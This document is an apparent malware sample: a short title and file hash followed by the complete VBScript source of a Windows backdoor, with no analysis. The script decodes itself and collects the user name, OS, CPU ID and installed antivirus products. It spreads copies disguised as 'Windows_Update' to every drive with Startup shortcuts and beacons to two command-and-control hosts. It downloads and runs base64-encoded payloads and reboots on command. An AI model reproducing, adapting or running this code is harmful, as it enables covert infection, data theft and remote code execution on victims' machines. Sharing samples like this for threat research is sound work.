DOCX -> RAR -> VBS Threat

6fc3b713a888c300fcac4d3b6ac4e97da2ae78eb0dc9baa1209054e69a6f656e

Function l(a): With CreateObject("Msxml2.DOMDocument").CreateElement("aux"): .DataType = "bin.base64": .Text = a: l = r(.NodeTypedValue): End With: End Function
 Function r(b): With CreateObject("ADODB.Stream"): .Type = 1: .Open: .Write b: .Position = 0: .Type = 2: .CharSet = "utf-8": r = .ReadText: .Close:  End With: End function
 Execute l("Dim urla
urla = "https://www.alwatanvoice.com/arabic/news/2018/10/08/1180543.html"

Host1 = "http://just4shared.com" 
Host2 = "http://akamailshare.com"
Folder = "" '"vb/"
xurl = "1180543"

Sub forceCScriptExecution
	Dim Arg, Str
	If Not LCase( Right( WScript.FullName, 12 ) ) = "\cscript.exe" Then
		For Each Arg In WScript.Arguments
			If InStr( Arg, " " ) Then Arg = """" & Arg & """"
			Str = Str & " " & Arg
		Next
		CreateObject( "WScript.Shell" ).Run _
		"cscript.exe //U //D """ & _
		WScript.ScriptFullName & _
		""" " & Str ,0
		WScript.Quit
	End If
End Sub


forceCScriptExecution
Randomize
'wscript.sleep Int( ( 100 - 1 + 1 ) * Rnd + 1 ) *1000
Dim name
name = "Windows_Update"
Dim mut


mut = "BASE"
'''''''''''
if IAmAlreadyRunning = true  Then
	WScript.Quit()
End If

''''''-------------------------------------------------------------------
'if IAmAlreadyRunning < 0 Then 
'Else
Function IAmAlreadyRunning
	Dim oProcesses
	Dim oProcess
	Dim iProcCount
	Set oProcesses = GetObject("winmgmts:\\.\root\cimv2").ExecQuery( _
	"Select * from Win32_Process where Name='cscript.exe' or Name='wscript.exe'",,48)
	
	For Each oProcess in oProcesses
		If Instr(1, oProcess.CommandLine, WScript.ScriptName, 1) > 0 Then
			iProcCount = iProcCount + 1
		End If
	Next
	
	IAmAlreadyRunning = (iProcCount > 1)
	
End Function


Public Const IF_FROM_CACHE = &H1000000
Public Const IF_MAKE_PERSISTENT = &H2000000
Public Const IF_NO_CACHE_WRITE = &H4000000
Private Const BUFFER_LEN = 256
Function HexToString(ByRef pstrHex)
	Dim llngIndex
	Dim llngMaxIndex
	Dim lstrString
	llngMaxIndex = Len(pstrHex)
	For llngIndex = 1 To llngMaxIndex Step 2
		lstrString = lstrString & Chr("&h" & Mid(pstrHex, llngIndex, 2))
	Next
	HexToString = lstrString
End Function

Function MyASC(OneChar)
	If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function

Function Base64Encode(inData)
	'rfc1521
	'2001 Antonin Foller, Motobit Software, http://Motobit.cz
	Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
	Dim cOut, sOut, I
	
	'For each group of 3 bytes
	For I = 1 To Len(inData) Step 3
		Dim nGroup, pOut, sGroup
		
	'Create one long from this 3 bytes.
		nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
		&H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
		
	'Oct splits the long To 8 groups with 3 bits
		nGroup = Oct(nGroup)
		
	'Add leading zeros
		nGroup = String(8 - Len(nGroup), "0") & nGroup
		
	'Convert To base64
		pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
		Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
		Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
		Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
		
	'Add the part To OutPut string
		sOut = sOut + pOut
		
	'Add a new line For Each 76 chars In dest (76*3/4 = 57)
	'If (I + 2) Mod 57 = 0 Then sOut = sOut + vbCrLf
	Next
	Select Case Len(inData) Mod 3
	Case 1: '8 bit final
		sOut = Left(sOut, Len(sOut) - 2) + "=="
	Case 2: '16 bit final
		sOut = Left(sOut, Len(sOut) - 1) + "="
	End Select
	Base64Encode = sOut
End Function

Function strClean (strtoclean)
	Dim objRegExp, outputStr
	Set objRegExp = New Regexp
	
	objRegExp.IgnoreCase = True
	objRegExp.Global = True
	objRegExp.Pattern = "[(?*"",\\<>&#~%{}+_.@:\/!;]+ "
	outputStr = objRegExp.Replace(strtoclean, "-")
	
	objRegExp.Pattern = "\-+"
	outputStr = objRegExp.Replace(outputStr, "-")
	
	strClean = outputStr
End Function


On Error Resume Next
strComputer = "."
Set oWMI = GetObject( "winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\SecurityCenter2")

Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
Dim i
i=0
Dim avname(10)

For Each objItem in colItems
	With objItem
		
'On Error Resume Next
		avname(i)  = objItem.displayName
		
' WScript.Echo .displayName
		On Error Resume Next
		
		i = i+1
	End With
	
Next


On Error Resume Next
Set oWMI = GetObject( "winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\SecurityCenter")
Set colItems = oWMI.ExecQuery("Select * from AntiVirusProduct")
For Each objItem in colItems
	With objItem
		
'On Error Resume Next
		avname(i)  = objItem.displayName
		
' WScript.Echo .displayName
		On Error Resume Next
		
		i = i+1
	End With
	
Next
Dim anti
anti = avname(0) & "<br>"& avname(1) & vbCrLf& avname(2) & vbCrLf& avname(3) & vbCrLf& avname(4) & vbCrLf& avname(5) & vbCrLf& avname(6) & vbCrLf& avname(7) & vbCrLf& avname(8) & vbCrLf& avname(9) & vbCrLf& avname(10) 
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
For Each objItem In colItems
	
' Wscript.Echo "Name: " & objItem.Name
'  Wscript.Echo "UserName: " & objItem.UserName
	user = objItem.UserName
Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem", , 48)
For Each objItem In colItems
	
' Wscript.Echo "Name: " & objItem.Caption
	OSvers = objItem.Caption
	
	
Next

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
For Each objItem In colItems
	
' Wscript.Echo "Processor ID: " & objItem.ProcessorId
	
	ID = objItem.ProcessorId
	
next

Function Ping(strHost)
	Dim objSh, strCommand, intWindowStyle, blnWaitOnReturn
	
	blnWaitOnReturn = True
	intWindowStyle = 0
	strCommand = "%ComSpec% /C %SystemRoot%\system32\ping.exe -n 1 " _
	& strHost & " | " & "%SystemRoot%\system32\find.exe /i " _
	& Chr(34) & "TTL=" & Chr(34)
	
	Set objSh = WScript.CreateObject("WScript.Shell")
	Ping = Not CBool(objSh.Run(strCommand, intWindowStyle, blnWaitOnReturn))
	Set objSh = Nothing
End Function


Function Base64Decode(ByVal base64String)
	'rfc1521
	'1999 Antonin Foller, Motobit Software, http://Motobit.cz
	Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
	Dim dataLength, sOut, groupBegin
	
	'remove white spaces, If any
	base64String = Replace(base64String, vbCrLf, "")
	base64String = Replace(base64String, vbTab, "")
	base64String = Replace(base64String, " ", "")
	
	'The source must consists from groups with Len of 4 chars
	dataLength = Len(base64String)
	If dataLength Mod 4 <> 0 Then
		Err.Raise 1, "Base64Decode", "Bad Base64 string."
		Exit Function
	End If
	
	
	' Now decode each group:
	For groupBegin = 1 To dataLength Step 4
		Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
	' Each data group encodes up To 3 actual bytes.
		numDataBytes = 3
		nGroup = 0
		
		For CharCounter = 0 To 3
	' Convert each character into 6 bits of data, And add it To
	' an integer For temporary storage.  If a character is a '=', there
	' is one fewer data byte.  (There can only be a maximum of 2 '=' In
	' the whole string.)
			
			thisChar = Mid(base64String, groupBegin + CharCounter, 1)
			
			If thisChar = "=" Then
				numDataBytes = numDataBytes - 1
				thisData = 0
			Else
				thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
			End If
			If thisData = -1 Then
				Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
				Exit Function
			End If
			
			nGroup = 64 * nGroup + thisData
		Next
		
	'Hex splits the long To 6 groups with 4 bits
		nGroup = hex(nGroup)
		
	'Add leading zeros
		nGroup = String(6 - Len(nGroup), "0") & nGroup
		
	'Convert the 3 byte hex integer (6 chars) To 3 characters
		pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
		Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
		Chr(CByte("&H" & Mid(nGroup, 5, 2)))
		
	'add numDataBytes characters To out string
		sOut = sOut & Left(pOut, numDataBytes)
	Next
	
	Base64Decode = sOut
End Function




Dim o
Dim o1
Dim Host
Dim Host1
Dim Host2
Dim Data1 
Dim Data2  
Dim temp
temp = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)
Set objFSO1 = CreateObject("Scripting.FileSystemObject")
If (objFSO1.FileExists(temp & "\"&xurl))  Then
	
Else
	Dim wsh
	Set wsh=WScript.CreateObject("WScript.Shell")
	wsh.Run urla
	wscript.sleep Int( ( 100 - 1 + 1 ) * Rnd + 1 ) *1000
	
End If
outFile1= temp & "\" &xurl
Set objFile1 = objFSO1.CreateTextFile(outFile1,True)
objFile1.Write " "
objFile1.Close




Set oWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set cDiskDrives = oWMIService.ExecQuery("SELECT * FROM Win32_DiskDrive")

For Each oDrive In cDiskDrives
  
    Set cPartitions = oWMIService.ExecQuery("ASSOCIATORS OF {Win32_DiskDrive.DeviceID=""" _
        & Replace(oDrive.DeviceID, "\", "\\") & """} WHERE AssocClass = " & "Win32_DiskDriveToDiskPartition")
 
    For Each oPartition In cPartitions
        aPartition = Split(oPartition.DeviceID)
        Set cLogicalDisks = oWMIService.ExecQuery _
             ("ASSOCIATORS OF {Win32_DiskPartition.DeviceID=""" & oPartition.DeviceID _
            & """} WHERE AssocClass = Win32_LogicalDiskToPartition")

        For Each oLogicalDisk In cLogicalDisks
            With oLogicalDisk
	             ' WScript.Echo  WScript.ScriptName
		'	"""" &  Replace(WScript.ScriptFullName,WScript.ScriptName,"") & """"
                '    WScript.Echo .DeviceID 
			
			On Error Resume Next
			set filesys = CreateObject("Scripting.FileSystemObject")
			If filesys.FileExists(.DeviceID & "\" & name) = False Then
			filesys.CopyFile WScript.ScriptFullName, .DeviceID & "\" & name & ".vbs"
			set WshShell = WScript.CreateObject("WScript.Shell")
					 strDesktop = WshShell.SpecialFolders("Startup")
					 set oShellLink = WshShell.CreateShortcut(strDesktop & "\" & name & ".lnk")
					 oShellLink.TargetPath =  .DeviceID & "\" & name & ".vbs"
					 oShellLink.WindowStyle = 1
					 oShellLink.Hotkey = "Ctrl+Alt+e"
					 oShellLink.IconLocation =  "%SystemRoot%\system32\SHELL32.dll,3"
					 oShellLink.Description = " "
					 oShellLink.WorkingDirectory =  .DeviceID & "\"
					 oShellLink.Save

			End If 
            End With
        Next
    Next

Next

''''''''''
set filesyss = CreateObject("Scripting.FileSystemObject")
If filesyss.FileExists(temp & "\" & name & ".vbs") = False Then
filesyss.CopyFile WScript.ScriptFullName, temp & "\" & name & ".vbs"
set WshShell1 = WScript.CreateObject("WScript.Shell")
         strDesktop = WshShell1.SpecialFolders("Startup")
         set oShellLink1 = WshShell.CreateShortcut(strDesktop & "\" & name & "T.lnk")
         oShellLink1.TargetPath =  temp & "\" & name & ".vbs"
         oShellLink1.WindowStyle = 1
         oShellLink1.Hotkey = "Ctrl+Alt+e"
         oShellLink1.IconLocation =  "%SystemRoot%\system32\SHELL32.dll,3"
         oShellLink1.Description = " "
         oShellLink1.WorkingDirectory =  temp & "\"
         oShellLink1.Save
set objFSOh = CreateObject("Scripting.FileSystemObject")
set objFileh = objFSOh.GetFile(temp & "\" & name & ".vbs")
   ' objFileh.Attributes = objFileh.Attributes + 2 
End IF

Private Function decodeBase64(base64)
  Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
End Function
  


Do
	Randomize
	wscript.sleep Int( ( 100 - 1 + 1 ) * Rnd + 1 ) *500
	
	On Error Resume Next
	
	
	if Ping(Host1) = true Then
		host = host1
	Else
		host = host2
	End if
	Set o = CreateObject("Msxml2.ServerXMLHTTP.3.0")
	'o.SetOption(1) = (objHTTP.GetOption(1) - SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS)
	
	strString = Base64Encode(ID & user)
	Dim strHex 
	For i=1 To Len(strString)
		strHex = strHex & ""  & Hex(Asc(Mid(strString,i,1)))
	Next
'-----------------------------------------------
	IF len(strHex) > 50 Then
		MyArray =  Mid(strHex,1,50)
		strHex = MyArray
	End If
	'vvv =   Host & "/"&Folder&"index.php?ID=" & strHex & mut & "&Pn=" & Base64Encode(user) & "&o=" & Base64Encode(OSvers) & "&av=" & Base64Encode( anti ) & "&GR=" & Base64Encode("BASE Feed <BR> 2018-10-01") & "&ho=" & Base64Encode(Host) &"&v=4.VBS"
	'msgbox vvv
	o.open "GET",  Host & "/"&Folder&"index.php?ID=" & strHex & mut & "&Pn=" & Base64Encode(user) & "&o=" & Base64Encode(OSvers) & "&av=" & Base64Encode( anti ) & "&GR=" & Base64Encode("BASE Feed <BR> 2018-10-01") & "&ho=" & Base64Encode(Host) &"&v=4.VBS", False
	o.setRequestHeader "User-Agent", strHex & mut
	o.send
	
	Data1 = o.responseText 
	Data1 = strClean(Data1)
	'msgbox Data1
	On Error Resume Next
	'msgbox Data1  & " Data1"
	If Data1 = "restart" Then
		Set objWMIService = GetObject("winmgmts:" _
		& "{impersonationLevel=impersonate,(Shutdown)}!\\" & _
		strComputer & "\root\cimv2")
		
		Set colOperatingSystems = objWMIService.ExecQuery _
		("Select * from Win32_OperatingSystem")
		
		For Each objOperatingSystem in colOperatingSystems
			objOperatingSystem.Reboot()
		Next
	Else
		
	End If
	
	
	If Data1 = Null Then
'msgbox  "Empty"
	Else
		
		Set o1 = CreateObject("Msxml2.ServerXMLHTTP.3.0")
'o1.SetOption(1) = (objHTTP.GetOption(1) - SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS)
'msgbox Host & "/U/" & Data1
		o1.open "GET", Host &"/"&Folder& "U/" & Data1, False
		o1.send
		Data2 = o1.responseText 
		
	'msgbox Data2  & "Data2"
	End If
	
	On Error Resume Next
	if Len(Data2) > 5 = true Then
		outFile= temp & "\" & Data1 & "\" & Replace(Data1,"-",".")
		'msgbox outFile
		dim filesys1
		set filesys1 = CreateObject("Scripting.FileSystemObject")
		If filesys1.FileExists(outFile)  Then
			Set WshShell = WScript.CreateObject("WScript.Shell")
			WshShell.Run "%SystemRoot%\system32\cmd.exe /C " & outFile & """",0,False
			REM Dim urh
			REM urh = "%ComSpec% /C %SystemRoot%\system32\cmd.exe /C " _
			REM & """" & outFile & """"
			
			REM Set objSh = WScript.CreateObject("WScript.Shell")
			REM objSh.Run(urh),0,false
			REM Set objSh = Nothing
			
		Else
			Data2  = Right(Data2, Len(Data2) - 10)
			'msgbox Data2 & "====="
			'msgbox Base64Decode(Data2)
			
			
			'save_Binary Base64Decode(Data2) , outFile  
			Set objFSO= CreateObject("Scripting.FileSystemObject")
			Set objFile = objFSO.CreateFolder(temp & "\" & Data1)
			
			
			Dim binaryStream
			Set binaryStream = CreateObject("ADODB.Stream")
			binaryStream.Type = 1
			binaryStream.Open
			binaryStream.Write decodeBase64(Data2)
			binaryStream.SaveToFile outFile, 2
			  
			
			set WshShell = WScript.CreateObject("WScript.Shell")
			strDesktop = WshShell.SpecialFolders("Startup")
			set oShellLink = WshShell.CreateShortcut(strDesktop & "\" & Data1 & ".lnk")
			oShellLink.TargetPath = outFile
			oShellLink.WindowStyle = 1
			oShellLink.Hotkey = "Ctrl+Alt+e"
			oShellLink.IconLocation = outFile & ", 0"
			oShellLink.Description = Data1
			oShellLink.WorkingDirectory = temp & "\" & Data1 & "\"
			oShellLink.Save
			WScript.Sleep(5000)
			set WshShell = WScript.CreateObject("WScript.Shell")
			WshShell.run("cmd.exe /C """ & outFile & """   "),0
			
			
			
			On Error Resume Next
			REM set WshShell = WScript.CreateObject("WScript.Shell")
			REM WshShell.run("cmd/C """ & outFile & """ "),0
			
			
			REM Dim urha
			REM urha = "%ComSpec% /C %SystemRoot%\system32\cmd.exe /C " _
			REM & """" & outFile & """"
			REM Set objSh = WScript.CreateObject("WScript.Shell")
			REM objSh.Run(urha),0,false
			REM Set objSh = Nothing
		end if
		
'msgbox Data1
	Else
'msgbox  "Empty"
	End If
	o1.abort
	o.abort
	Host = "" 
	Data1 = ""
	Data2 = ""
'WScript.Sleep(5000)
	
loop
'End IF")